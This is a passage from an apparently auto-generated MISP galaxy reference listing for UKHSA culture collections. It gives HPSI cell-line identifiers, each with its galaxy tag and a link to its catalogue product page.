Table 26600. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-funy_1

HPSI0414i-tout_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-tout_1"*

Table 26601. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-tout_1

HPSI0714i-oojs_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0714i-oojs_1"*

Table 26602. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0714i-oojs_1

HPSI0414i-fuai_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-fuai_1"*

Table 26603. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-fuai_1

HPSI0514i-pulk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0514i-pulk_1"*

Table 26604. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0514i-pulk_1

HPSI0613i-hikj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-hikj_2"*

Table 26605. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-hikj_2

HPSI0513i-zaui_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-zaui_3"*

Table 26606. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-zaui_3

HPSI0613i-focm_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-focm_1"*

Table 26607. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-focm_1

HPSI0214i-rayr_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-rayr_1"*

Table 26608. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-rayr_1

HPSI0613i-giuo_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-giuo_5"*

Table 26609. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-giuo_5

HPSI0413i-nudd_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-nudd_1"*

Table 26610. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-nudd_1

HPSI0513i-veqz_6

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-veqz_6"*

Table 26611. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-veqz_6

HPSI0613i-auim_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-auim_3"*

Table 26612. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-auim_3

HPSI0813i-voas_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-voas_2"*

Table 26613. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-voas_2

HPSI0613i-riiv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-riiv_3"*

Table 26614. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-riiv_3

HPSI0214i-wibj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-wibj_1"*

Table 26615. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-wibj_1

HPSI0513i-leeh_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-leeh_2"*

Table 26616. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-leeh_2

HPSI0713i-uimo_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-uimo_1"*

Table 26617. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-uimo_1

HPSI0214i-datg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-datg_2"*

Table 26618. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-datg_2

HPSI0513i-uoxz_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-uoxz_5"*

Table 26619. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-uoxz_5

HPSI0314i-sojd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-sojd_2"*

Table 26620. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-sojd_2

HPSI0813i-meqo_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-meqo_3"*

Table 26621. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-meqo_3

HPSI0513i-giuf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-giuf_3"*

Table 26622. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-giuf_3

HPSI0713i-darw_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-darw_2"*

Table 26623. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-darw_2

HPSI0513i-uilw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-uilw_1"*

Table 26624. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-uilw_1

HPSI0613i-ueah_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-ueah_1"*

Table 26625. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-ueah_1

HPSI0513i-debk_9

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-debk_9"*

Table 26626. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-debk_9

HPSI0613i-bawa_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-bawa_1"*

Table 26627. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-bawa_1

HPSI0613i-lizq_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-lizq_3"*

Table 26628. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-lizq_3

HPSI0513i-dipe_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-dipe_1"*

Table 26629. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-dipe_1

HPSI1014i-toss_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1014i-toss_3"*

Table 26630. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1014i-toss_3

HPSI0613i-nukw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-nukw_1"*

Table 26631. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-nukw_1

HPSI0114i-zapk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-zapk_2"*

Table 26632. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-zapk_2

HPSI0513i-xegx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-xegx_2"*

Table 26633. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-xegx_2

HPSI0114i-eipl_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-eipl_3"*

Table 26634. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-eipl_3

HPSI0214i-feec_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-feec_2"*

Table 26635. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-feec_2

HPSI0513i-coio_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-coio_2"*

Table 26636. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-coio_2

HPSI0813i-piun_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-piun_3"*

Table 26637. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-piun_3

HPSI0913i-iuqb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-iuqb_1"*

Table 26638. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-iuqb_1

HPSI0613i-jorr_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-jorr_1"*

Table 26639. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-jorr_1

HPSI0513i-euir_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-euir_2"*

Table 26640. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-euir_2

HPSI1113i-oaaz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-oaaz_2"*

Table 26641. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-oaaz_2

HPSI0713i-qimz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-qimz_2"*

Table 26642. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-qimz_2

HPSI0613i-vorx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-vorx_1"*

Table 26643. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-vorx_1

HPSI0513i-cuau_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-cuau_2"*

Table 26644. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-cuau_2

HPSI0413i-iakz_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-iakz_2"*

Table 26645. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-iakz_2

HPSI0613i-xosg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-xosg_2"*

Table 26646. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-xosg_2

HPSI0613i-febc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-febc_1"*

Table 26647. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-febc_1

HPSI0513i-aipt_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-aipt_3"*

Table 26648. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-aipt_3

HPSI0513i-giuf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-giuf_1"*

Table 26649. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-giuf_1

HPSI0613i-riiv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-riiv_1"*

Table 26650. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-riiv_1

HPSI0513i-debk_7

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-debk_7"*

Table 26651. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-debk_7

HPSI0414i-mita_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0414i-mita_2"*

Table 26652. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0414i-mita_2

HPSI0913i-bulb_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-bulb_1"*

Table 26653. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-bulb_1

HPSI0513i-cuau_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-cuau_1"*

Table 26654. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-cuau_1

HPSI0814i-bokz_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0814i-bokz_5"*

Table 26655. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0814i-bokz_5

HPSI0613i-qanu_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-qanu_1"*

Table 26656. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-qanu_1

HPSI0613i-qony_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-qony_1"*

Table 26657. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-qony_1

HPSI0713i-kaks_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-kaks_3"*

Table 26658. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-kaks_3

HPSI0114i-wegi_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-wegi_1"*

Table 26659. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-wegi_1

HPSI0513i-huls_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-huls_1"*

Table 26660. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-huls_1

HPSI0513i-dulv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-dulv_1"*

Table 26661. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-dulv_1

HPSI0613i-ueah_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-ueah_4"*

Table 26662. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-ueah_4

HPSI0613i-dium_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-dium_1"*

Table 26663. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-dium_1

HPSI0613i-auim_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-auim_2"*

Table 26664. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-auim_2

HPSI0613i-qony_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-qony_2"*

Table 26665. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-qony_2

HPSI0613i-hikj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-hikj_1"*

Table 26666. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-hikj_1

HPSI0413i-corn_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-corn_1"*

Table 26667. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-corn_1

HPSI0613i-febc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-febc_2"*

Table 26668. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-febc_2

HPSI0613i-vorx_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-vorx_3"*

Table 26669. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-vorx_3

HPSI0513i-kesz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-kesz_1"*

Table 26670. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-kesz_1

HPSI0114i-iisa_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-iisa_3"*

Table 26671. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-iisa_3

HPSI0314i-xugn_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-xugn_2"*

Table 26672. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-xugn_2

HPSI0713i-nocf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-nocf_2"*

Table 26673. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-nocf_2

HPSI0813i-zexw_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-zexw_3"*

Table 26674. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-zexw_3

HPSI0613i-oefg_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-oefg_2"*

Table 26675. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-oefg_2

HPSI0613i-bohf_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-bohf_1"*

Table 26676. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-bohf_1

HPSI0813i-aizi_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-aizi_1"*

Table 26677. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-aizi_1

HPSI0713i-ruyv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-ruyv_1"*

Table 26678. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-ruyv_1

HPSI0713i-veku_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-veku_2"*

Table 26679. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-veku_2

HPSI0813i-iill_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-iill_3"*

Table 26680. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-iill_3

HPSI0713i-pusf_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-pusf_3"*

Table 26681. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-pusf_3

HPSI0913i-coyi_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-coyi_3"*

Table 26682. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-coyi_3

HPSI0513i-iasn_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-iasn_3"*

Table 26683. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-iasn_3

HPSI0813i-fpdl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-fpdl_1"*

Table 26684. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-fpdl_1

HPSI0114i-joxm_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-joxm_1"*

Table 26685. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-joxm_1

HPSI1113i-qorq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-qorq_1"*

Table 26686. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-qorq_1

HPSI0913i-diku_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-diku_1"*

Table 26687. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-diku_1

HPSI0314i-fafq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-fafq_1"*

Table 26688. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-fafq_1

HPSI0214i-kehc_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-kehc_2"*

Table 26689. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-kehc_2

HPSI1013i-pamv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-pamv_1"*

Table 26690. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-pamv_1

HPSI1113i-hayt_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-hayt_1"*

Table 26691. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-hayt_1

HPSI0713i-cicb_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-cicb_2"*

Table 26692. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-cicb_2

HPSI0713i-foop_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-foop_2"*

Table 26693. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-foop_2

HPSI0813i-iicq_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-iicq_1"*

Table 26694. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-iicq_1

HPSI0214i-heth_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-heth_1"*

Table 26695. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-heth_1

HPSI0314i-sojd_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-sojd_3"*

Table 26696. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-sojd_3

HPSI1013i-wopl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-wopl_1"*

Table 26697. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-wopl_1

HPSI0413i-ougl_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-ougl_1"*

Table 26698. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-ougl_1

HPSI0513i-fejf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-fejf_2"*

Table 26699. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-fejf_2

HPSI0513i-uoxz_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-uoxz_4"*

Table 26700. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-uoxz_4

HPSI1013i-jogf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-jogf_2"*

Table 26701. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-jogf_2

HPSI0114i-fikt_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-fikt_3"*

Table 26702. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-fikt_3

HPSI0813i-ffdr_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-ffdr_3"*

Table 26703. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-ffdr_3

HPSI0813i-fpdl_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-fpdl_2"*

Table 26704. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-fpdl_2

HPSI0913i-eika_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-eika_2"*

Table 26705. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-eika_2

HPSI0114i-bezi_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-bezi_3"*

Table 26706. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-bezi_3

HPSI0314i-cuhk_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-cuhk_1"*

Table 26707. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-cuhk_1

HPSI0114i-rozh_4

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-rozh_4"*

Table 26708. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-rozh_4

HPSI1213i-xuja_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-xuja_2"*

Table 26709. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-xuja_2

HPSI0114i-vass_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-vass_1"*

Table 26710. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-vass_1

HPSI0314i-bubh_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-bubh_3"*

Table 26711. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-bubh_3

HPSI0214i-pelm_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-pelm_3"*

Table 26712. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-pelm_3

HPSI1213i-foqj_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1213i-foqj_2"*

Table 26713. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1213i-foqj_2

HPSI0713i-foop_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-foop_1"*

Table 26714. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-foop_1

HPSI1013i-jufd_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-jufd_2"*

Table 26715. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-jufd_2

HPSI1113i-qolg_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-qolg_1"*

Table 26716. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-qolg_1

HPSI1013i-garx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-garx_2"*

Table 26717. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-garx_2

HPSI1113i-podx_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-podx_2"*

Table 26718. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-podx_2

HPSI0314i-hoik_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-hoik_1"*

Table 26719. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-hoik_1

HPSI0613i-xavk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-xavk_3"*

Table 26720. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-xavk_3

HPSI0613i-eojr_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-eojr_2"*

Table 26721. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-eojr_2

HPSI0613i-xucm_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0613i-xucm_3"*

Table 26722. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0613i-xucm_3

HPSI0413i-yotv_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-yotv_2"*

Table 26723. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-yotv_2

HPSI0713i-wiol_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-wiol_1"*

Table 26724. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-wiol_1

HPSI0513i-netf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-netf_2"*

Table 26725. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-netf_2

HPSI0813i-iicq_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-iicq_3"*

Table 26726. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-iicq_3

HPSI0114i-zapk_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-zapk_3"*

Table 26727. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-zapk_3

HPSI0413i-sukz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0413i-sukz_1"*

Table 26728. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0413i-sukz_1

HPSI0813i-aizi_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-aizi_3"*

Table 26729. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-aizi_3

HPSI0813i-fpdk_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-fpdk_2"*

Table 26730. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-fpdk_2

HPSI0214i-eiwy_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0214i-eiwy_1"*

Table 26731. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0214i-eiwy_1

HPSI0513i-coio_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-coio_1"*

Table 26732. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-coio_1

HPSI0813i-ffdc_11

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-ffdc_11"*

Table 26733. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-ffdc_11

HPSI0813i-ffdj_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0813i-ffdj_1"*

Table 26734. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0813i-ffdj_1

HPSI0713i-darw_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0713i-darw_1"*

Table 26735. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0713i-darw_1

HPSI0513i-xegx_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0513i-xegx_1"*

Table 26736. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0513i-xegx_1

HPSI1013i-pamv_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-pamv_3"*

Table 26737. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-pamv_3

HPSI0913i-lise_3

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-lise_3"*

Table 26738. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-lise_3

HPSI1013i-yemz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-yemz_1"*

Table 26739. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-yemz_1

HPSI1013i-sebz_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-sebz_1"*

Table 26740. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-sebz_1

HPSI0913i-oapg_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0913i-oapg_5"*

Table 26741. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0913i-oapg_5

HPSI1013i-hiaf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1013i-hiaf_2"*

Table 26742. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1013i-hiaf_2

HPSI1113i-uofv_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI1113i-uofv_1"*

Table 26743. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi1113i-uofv_1

HPSI0114i-rozh_5

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-rozh_5"*

Table 26744. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0114i-rozh_5

HPSI0314i-qonc_1

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0314i-qonc_1"*

Table 26745. Table References

Links
https://www.culturecollections.org.uk/nop/product/hpsi0314i-qonc_1

HPSI0114i-kolf_2

The tag is: *misp-galaxy:ukhsa-culture-collections="HPSI0114i-kolf_2"*

Table 26746. Table References

Links
